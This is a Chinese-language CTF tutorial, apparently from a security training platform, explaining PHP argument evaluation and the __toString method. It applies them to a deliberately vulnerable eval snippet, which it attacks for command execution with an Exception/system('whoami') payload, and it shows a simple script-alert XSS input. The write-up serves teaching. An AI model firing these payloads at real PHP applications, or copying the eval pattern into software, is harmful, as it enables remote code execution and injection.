查看原文
其他

连异常报错也能拿到flag?

Lxxx 合天网安实验室 2022-09-04


原创稿件征集
邮箱:edu@antvsion.comQQ:3200599554黑客极客技术、信息安全热点
安全研究分析

等安全相关的技术文章稿件通过并发布还能收获200-800元不等的稿酬


前言:

本篇将讲述PHP函数以及对象在使用过程中经常出现的错误,通过一个个小实验纠正这些错误,并且从安全的角度出发,利用这些可能存在的错误,捕获这些异常,甚至完成RCE操作。


脸滚键盘打出来的函数也能执行?

没错,该部分内容如上方小标题所示,在PHP中,即使你瞎打的函数,在经过一番调整后,可能程序就能正常运行了。

比如,有如下PHP代码:

<?phptian(phpinfo());

在这一段PHP代码中,随便瞎编了一个函数,并且向函数提供了一个phpinfo()参数,这样的PHP代码能运行起来吗?

当然不能,除非tian这个函数在内部已经自定义好了,否则这一串代码是一定报错的。


那么有没有办法让PHP正常执行这个程序呢?

有,那必须有,甚至只需要一行

<?phpfunction tian(){}tian(phpinfo());

新添加的这一行代码本质上就是给tian这个函数进行一个声明,这样整一个程序就能正常运行了。

这个时候可能就会有小机灵鬼发现了一个问题,在tian这个函数里并没有要求函数需要有输入啊,但是为什么程序就正常执行了呢?

从小开始接触括号的时候,老师就一直强调,有括号的要先算括号内的,程序自然也遵循着这样的原则,有括号的地方,那就先执行括号内的代码,至于后续是否报错,先把括号里的东西执行了再说。

举一反三,既然自定义的函数可以这么操作,那么PHP默认自带的一些函数那肯定也可以这么操作:

举个最常见的函数:

<?php$sql = mysqli_connect(phpinfo(),"root","root","mysql");

mysql_connect作为过程化风格函数,在开发中十分常用,这里我们将数据库连接地址的位置参数写成phpinfo(),这个时候程序可以将phpinfo()打印出来。


至此,大家应该能明白为什么脸滚键盘打出来的函数也能执行了,那么除了函数,脸滚出来的对象能不能执行呢?


为什么我的对象打印不出来?

在初学PHP面向对象的时候,可能经常会犯的一个错误,代码如下:

<?phpclass tian{ public $id = "Lxxx"; function getid(){ return $this->id; }}
echo new tian();

这个代码报错如下:


这个程序错误就出在想要将对象直接打印出来,想要解决这样的报错,在PHP中有一个自带的魔术方法__toString,这个魔术方法会在对象被当做字符串的时候调用。

因此将上方程序进行修改,修改后的代码如下:

<?phpclass tian{ public $id = "Lxxx"; function getid(){ return $this->id; } function __toString(){ return $this->id; }}
echo new tian();

这个时候,程序就可以正常执行了


这个时候我们修改一下代码:

<?phpclass tian{ public $id; function __construct($id){ $this->id = $id; } function __toString(){ return $this->id; }}echo new tian(phpinfo());

这个时候,结合上面的内容,应该就能理解这一部分代码

代码执行如下:


程序内如果有一个类,新建对象的时候需要一个参数,这个时候我们往参数里面放phpinfo(),程序会先执行phpinfo()

那么将这两个特性结合起来有什么用呢?

下面就给出一道CTF例题,利用上方的性质,结合异常捕获来达到RCE。


表演一个异常报错实现RCE

题目代码如下:

<?php//flag in flag.phphighlight_file(__FILE__);if ( isset($_GET['a']) && isset($_GET['b'])){ $a = $_GET['a']; $b = $_GET['b']; eval("echo new $a($b());");}

关键代码为:eval("echo new $a($b());");

首先,这一部分代码没有自定义的类,因此需要用到PHP中自带的类

我们先测试一下,传payload:?a=mysqli&b=phpinfo


这个时候是正常回显phpinfo,但是想要命令执行还是有些许距离。

因此我们需要找到一个PHP自带类,并且这个类需要有__toString()魔术方法,我们这里找到一个类为Exception

其中PHP官方手册对这个类的__toString()描述如下:


这个类会将传入的异常参数直接输出,那么如果将命令执行作为参数传入呢?

<?phpecho new Exception(system("whoami")());


那就先执行命令,然后将执行命令的结果作为参数传给Exception

所以传payload:?a=exception&b=system("whoami")


这个即可RCE

除此之外,Exception__toString()魔术方法是直接输出,不存在命令执行的过程,因此在这个地方可能存在XSS。

举个例子:

<?phpecho new Exception("$_GET[1]");

这个时候传:?1=<script>alert("XSS");</script>

是可以XSS


当然,还有许多其他的内置类能实现同样的功能,本篇文章就起到一个抛砖引玉的作用。


推荐实操:https://www.hetianlab.com/pages/CTFLaboratory.jsp



“阅读原文”体验免费靶场!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存